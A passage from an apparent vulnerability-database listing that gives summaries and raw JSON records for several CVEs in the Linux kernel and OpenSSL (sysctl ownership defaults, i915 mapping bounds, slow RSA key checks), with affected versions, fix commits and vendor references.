                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: atomisp: ssh_css: Fix a null-pointer dereference in load_video_binaries\n\nThe allocation failure of mycs-\u003eyuv_scaler_binary in load_video_binaries()\nis followed with a dereference of mycs-\u003eyuv_scaler_binary after the\nfollowing call chain:\n\nsh_css_pipe_load_binaries()\n  |-\u003e load_video_binaries(mycs-\u003eyuv_scaler_binary == NULL)\n  |\n  |-\u003e sh_css_pipe_unload_binaries()\n        |-\u003e unload_video_binaries()\n\nIn unload_video_binaries(), it calls to ia_css_binary_unload with argument\n\u0026pipe-\u003epipe_settings.video.yuv_scaler_binary[i], which refers to the\nsame memory slot as mycs-\u003eyuv_scaler_binary. Thus, a null-pointer\ndereference is triggered."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:18:47.371Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/51b8dc5163d2ff2bf04019f8bf7e3bd0e75bb654"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b68b861b514a5c09220d622ac3784c0ebac6c80"
        },
        {
          "url": "https://git.kernel.org/stable/c/82c2c85aead3ea3cbceef4be077cf459c5df2272"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1ab99dcc8604afe7e3bccb01b10da03bdd7ea35"
        },
        {
          "url": "https://git.kernel.org/stable/c/cc20c87b04db86c8e3e810bcdca686b406206069"
        },
        {
          "url": "https://git.kernel.org/stable/c/69b27ff82f87379afeaaea4b2f339032fdd8486e"
        },
        {
          "url": "https://git.kernel.org/stable/c/6482c433863b257b0b9b687c28ce80b89d5f89f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/3b621e9e9e148c0928ab109ac3d4b81487469acb"
        }
      ],
      "title": "media: atomisp: ssh_css: Fix a null-pointer dereference in load_video_binaries",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38547",
    "datePublished": "2024-06-19T13:35:20.689Z",
    "dateReserved": "2024-06-18T19:36:34.919Z",
    "dateUpdated": "2026-05-12T11:54:34.973Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42312 (GCVE-0-2024-42312)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

sysctl: always initialize i_uid/i_gid

Summary

In the Linux kernel, the following vulnerability has been resolved: sysctl: always initialize i_uid/i_gid Always initialize i_uid/i_gid inside the sysfs core so set_ownership() can safely skip setting them. Commit 5ec27ec735ba ("fs/proc/proc_sysctl.c: fix the default values of i_uid/i_gid on /proc/sys inodes.") added defaults for i_uid/i_gid when set_ownership() was not implemented. It also missed adjusting net_ctl_set_ownership() to use the same default values in case the computation of a better value failed.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/b2591c89a6e285879…
https://git.kernel.org/stable/c/34a86adea1f2b3c3f…
https://git.kernel.org/stable/c/1deae34db9f4f8e0e…
https://git.kernel.org/stable/c/ffde3af4b29bf97d6…
https://git.kernel.org/stable/c/c7e2f43d182f5dde4…
https://git.kernel.org/stable/c/98ca62ba9e2be5863…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < b2591c89a6e2858796111138c38fcb6851aa1955 (git) Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < 34a86adea1f2b3c3f9d864c8cce09dca644601ab (git) Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < 1deae34db9f4f8e0e03f891be2e2e15c15c8ac05 (git) Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < ffde3af4b29bf97d62d82e1d45275587e10a991a (git) Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < c7e2f43d182f5dde473389dbb39f16c9f0d64536 (git) Affected: 5ec27ec735ba0477d48c80561cc5e856f0c5dfaf , < 98ca62ba9e2be5863c7d069f84f7166b45a5b2f4 (git) Affected: e83234d7ef237931148b4b17834dadf57eb46c12 (git) Affected: 2cbf2af144f0cd08a3361c6299b2e6086b7d21d9 (git) Affected: 2c7b50c7b1d036f71acd9a917a8cb0f9b6e43dab (git) Affected: 7eb45a94c279dd5af4cafaa738ae93737517eef4 (git) Affected: 14cc90952cef94bfa89a6b4a2f55fd9a70f50a16 (git)
Linux	Linux	Affected: 5.3 Unaffected: 0 , < 5.3 (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.104 , ≤ 6.1.* (semver) Unaffected: 6.6.45 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42312",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:09:55.484877Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:26.909Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:04:29.959Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:53.841Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/proc/proc_sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b2591c89a6e2858796111138c38fcb6851aa1955",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "lessThan": "34a86adea1f2b3c3f9d864c8cce09dca644601ab",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "lessThan": "1deae34db9f4f8e0e03f891be2e2e15c15c8ac05",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "lessThan": "ffde3af4b29bf97d62d82e1d45275587e10a991a",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "lessThan": "c7e2f43d182f5dde473389dbb39f16c9f0d64536",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "lessThan": "98ca62ba9e2be5863c7d069f84f7166b45a5b2f4",
              "status": "affected",
              "version": "5ec27ec735ba0477d48c80561cc5e856f0c5dfaf",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e83234d7ef237931148b4b17834dadf57eb46c12",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2cbf2af144f0cd08a3361c6299b2e6086b7d21d9",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2c7b50c7b1d036f71acd9a917a8cb0f9b6e43dab",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7eb45a94c279dd5af4cafaa738ae93737517eef4",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "14cc90952cef94bfa89a6b4a2f55fd9a70f50a16",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/proc/proc_sysctl.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.3"
            },
            {
              "lessThan": "5.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.104",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.45",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.104",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.45",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.187",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.135",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.61",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.1.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.2.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsysctl: always initialize i_uid/i_gid\n\nAlways initialize i_uid/i_gid inside the sysfs core so set_ownership()\ncan safely skip setting them.\n\nCommit 5ec27ec735ba (\"fs/proc/proc_sysctl.c: fix the default values of\ni_uid/i_gid on /proc/sys inodes.\") added defaults for i_uid/i_gid when\nset_ownership() was not implemented. It also missed adjusting\nnet_ctl_set_ownership() to use the same default values in case the\ncomputation of a better value failed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:58.265Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b2591c89a6e2858796111138c38fcb6851aa1955"
        },
        {
          "url": "https://git.kernel.org/stable/c/34a86adea1f2b3c3f9d864c8cce09dca644601ab"
        },
        {
          "url": "https://git.kernel.org/stable/c/1deae34db9f4f8e0e03f891be2e2e15c15c8ac05"
        },
        {
          "url": "https://git.kernel.org/stable/c/ffde3af4b29bf97d62d82e1d45275587e10a991a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c7e2f43d182f5dde473389dbb39f16c9f0d64536"
        },
        {
          "url": "https://git.kernel.org/stable/c/98ca62ba9e2be5863c7d069f84f7166b45a5b2f4"
        }
      ],
      "title": "sysctl: always initialize i_uid/i_gid",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42312",
    "datePublished": "2024-08-17T09:09:16.646Z",
    "dateReserved": "2024-07-30T07:40:12.277Z",
    "dateUpdated": "2026-05-12T11:56:53.841Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2023-6237 (GCVE-0-2023-6237)

Vulnerability from cvelistv5 – Published: 2024-04-25 06:27 – Updated: 2026-05-12 10:41

Title

Excessive time spent checking invalid RSA public keys

Summary

Issue summary: Checking excessively long invalid RSA public keys may take a long time. Impact summary: Applications that use the function EVP_PKEY_public_check() to check RSA public keys may experience long delays. Where the key that is being checked has been obtained from an untrusted source this may lead to a Denial of Service. When function EVP_PKEY_public_check() is called on RSA public keys, a computation is done to confirm that the RSA modulus, n, is composite. For valid RSA keys, n is a product of two or more large primes and this computation completes quickly. However, if n is an overly large prime, then this computation would take a long time. An application that calls EVP_PKEY_public_check() and supplies an RSA key obtained from an untrusted source could be vulnerable to a Denial of Service attack. The function EVP_PKEY_public_check() is not called from other OpenSSL functions however it is called from the OpenSSL pkey command line application. For that reason that application is also vulnerable if used with the '-pubin' and '-check' options on untrusted data. The OpenSSL SSL/TLS implementation is not affected by this issue. The OpenSSL 3.0 and 3.1 FIPS providers are affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-606 - Unchecked Input for Loop Condition

Assigner

openssl

References

4 references

URL	Tags
https://www.openssl.org/news/secadv/20240115.txt	vendor-advisory
https://github.com/openssl/openssl/commit/18c0249…	patch
https://github.com/openssl/openssl/commit/a830f55…	patch
https://github.com/openssl/openssl/commit/0b0f7ab…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.0.0 , < 3.0.13 (semver) Affected: 3.1.0 , < 3.1.5 (semver) Affected: 3.2.0 , < 3.2.1 (semver)

Date Public ?

2024-01-15 00:00

Credits

OSS-Fuzz Tomas Mraz

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T08:21:18.096Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20240115.txt"
          },
          {
            "name": "3.0.13 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/18c02492138d1eb8b6548cb26e7b625fb2414a2a"
          },
          {
            "name": "3.1.5 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/a830f551557d3d66a84bbb18a5b889c640c36294"
          },
          {
            "name": "3.2.1 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/0b0f7abfb37350794a4b8960fafc292cd5d1b84d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/03/11/1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240531-0007/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 5.9,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2023-6237",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-20T14:44:52.382969Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-01T14:28:51.338Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SINEC NMS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.0 SP1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:41:05.568Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-331112.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.0.13",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.5",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.2.1",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "OSS-Fuzz"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Tomas Mraz"
        }
      ],
      "datePublic": "2024-01-15T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Checking excessively long invalid RSA public keys may take\u003cbr\u003ea long time.\u003cbr\u003e\u003cbr\u003eImpact summary: Applications that use the function EVP_PKEY_public_check()\u003cbr\u003eto check RSA public keys may experience long delays. Where the key that\u003cbr\u003eis being checked has been obtained from an untrusted source this may lead\u003cbr\u003eto a Denial of Service.\u003cbr\u003e\u003cbr\u003eWhen function EVP_PKEY_public_check() is called on RSA public keys,\u003cbr\u003ea computation is done to confirm that the RSA modulus, n, is composite.\u003cbr\u003eFor valid RSA keys, n is a product of two or more large primes and this\u003cbr\u003ecomputation completes quickly. However, if n is an overly large prime,\u003cbr\u003ethen this computation would take a long time.\u003cbr\u003e\u003cbr\u003eAn application that calls EVP_PKEY_public_check() and supplies an RSA key\u003cbr\u003eobtained from an untrusted source could be vulnerable to a Denial of Service\u003cbr\u003eattack.\u003cbr\u003e\u003cbr\u003eThe function EVP_PKEY_public_check() is not called from other OpenSSL\u003cbr\u003efunctions however it is called from the OpenSSL pkey command line\u003cbr\u003eapplication. For that reason that application is also vulnerable if used\u003cbr\u003ewith the \u0027-pubin\u0027 and \u0027-check\u0027 options on untrusted data.\u003cbr\u003e\u003cbr\u003eThe OpenSSL SSL/TLS implementation is not affected by this issue.\u003cbr\u003e\u003cbr\u003eThe OpenSSL 3.0 and 3.1 FIPS providers are affected by this issue."
            }
          ],
          "value": "Issue summary: Checking excessively long invalid RSA public keys may take\na long time.\n\nImpact summary: Applications that use the function EVP_PKEY_public_check()\nto check RSA public keys may experience long delays. Where the key that\nis being checked has been obtained from an untrusted source this may lead\nto a Denial of Service.\n\nWhen function EVP_PKEY_public_check() is called on RSA public keys,\na computation is done to confirm that the RSA modulus, n, is composite.\nFor valid RSA keys, n is a product of two or more large primes and this\ncomputation completes quickly. However, if n is an overly large prime,\nthen this computation would take a long time.\n\nAn application that calls EVP_PKEY_public_check() and supplies an RSA key\nobtained from an untrusted source could be vulnerable to a Denial of Service\nattack.\n\nThe function EVP_PKEY_public_check() is not called from other OpenSSL\nfunctions however it is called from the OpenSSL pkey command line\napplication. For that reason that application is also vulnerable if used\nwith the \u0027-pubin\u0027 and \u0027-check\u0027 options on untrusted data.\n\nThe OpenSSL SSL/TLS implementation is not affected by this issue.\n\nThe OpenSSL 3.0 and 3.1 FIPS providers are affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-606",
              "description": "CWE-606 Unchecked Input for Loop Condition",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-14T14:55:56.955Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20240115.txt"
        },
        {
          "name": "3.0.13 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/18c02492138d1eb8b6548cb26e7b625fb2414a2a"
        },
        {
          "name": "3.1.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a830f551557d3d66a84bbb18a5b889c640c36294"
        },
        {
          "name": "3.2.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/0b0f7abfb37350794a4b8960fafc292cd5d1b84d"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Excessive time spent checking invalid RSA public keys",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2023-6237",
    "datePublished": "2024-04-25T06:27:26.990Z",
    "dateReserved": "2023-11-21T10:16:34.346Z",
    "dateUpdated": "2026-05-12T10:41:05.568Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42259 (GCVE-0-2024-42259)

Vulnerability from cvelistv5 – Published: 2024-08-14 14:50 – Updated: 2026-05-12 11:56

Title

drm/i915/gem: Fix Virtual Memory mapping boundaries calculation

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/i915/gem: Fix Virtual Memory mapping boundaries calculation Calculating the size of the mapped area as the lesser value between the requested size and the actual size does not consider the partial mapping offset. This can cause page fault access. Fix the calculation of the starting and ending addresses, the total size is now deduced from the difference between the end and start addresses. Additionally, the calculations have been rewritten in a clearer and more understandable form. [Joonas: Add Requires: tag] Requires: 60a2066c5005 ("drm/i915/gem: Adjust vma offset for framebuffer mmap offset") (cherry picked from commit 97b6784753da06d9d40232328efc5c5367e53417)

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/3e06073d24807f04b…
https://git.kernel.org/stable/c/a256d019eaf044864…
https://git.kernel.org/stable/c/50111a8098fb9ade6…
https://git.kernel.org/stable/c/911f8055f175c8277…
https://git.kernel.org/stable/c/e8a68aa842d3f8dd0…
https://git.kernel.org/stable/c/4b09513ce93b3dcb5…
https://git.kernel.org/stable/c/ead9289a51ea82eb5…
https://git.kernel.org/stable/c/8bdd9ef7e9b1b2a73…
https://project-zero.issues.chromium.org/issues/4…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < 3e06073d24807f04b4694108a8474decb7b99e60 (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < a256d019eaf044864c7e50312f0a65b323c24f39 (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < 50111a8098fb9ade621eeff82228a997d42732ab (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < 911f8055f175c82775d0fd8cedcd0b75413f4ba7 (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < e8a68aa842d3f8dd04a46b9d632e5f67fde1da9b (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < 4b09513ce93b3dcb590baaaff2ce96f2d098312d (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < ead9289a51ea82eb5b27029fcf4c34b2dd60cf06 (git) Affected: c58305af1835095ddc25ee6f548ac05915e66ac5 , < 8bdd9ef7e9b1b2a73e394712b72b22055e0e26c3 (git)
Linux	Linux	Affected: 4.9 Unaffected: 0 , < 4.9 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.106 , ≤ 6.1.* (semver) Unaffected: 6.6.46 , ≤ 6.6.* (semver) Unaffected: 6.10.5 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42259",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:12:50.301256Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:33.719Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:02:56.873Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:40.898Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/i915/gem/i915_gem_mman.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3e06073d24807f04b4694108a8474decb7b99e60",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "a256d019eaf044864c7e50312f0a65b323c24f39",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
              "lessThan": "50111a8098fb9ade621eeff82228a997d42732ab",
              "status": "affected",
              "version": "c58305af1835095ddc25ee6f548ac05915e66ac5",
              "versionType": "git"
            },
            {
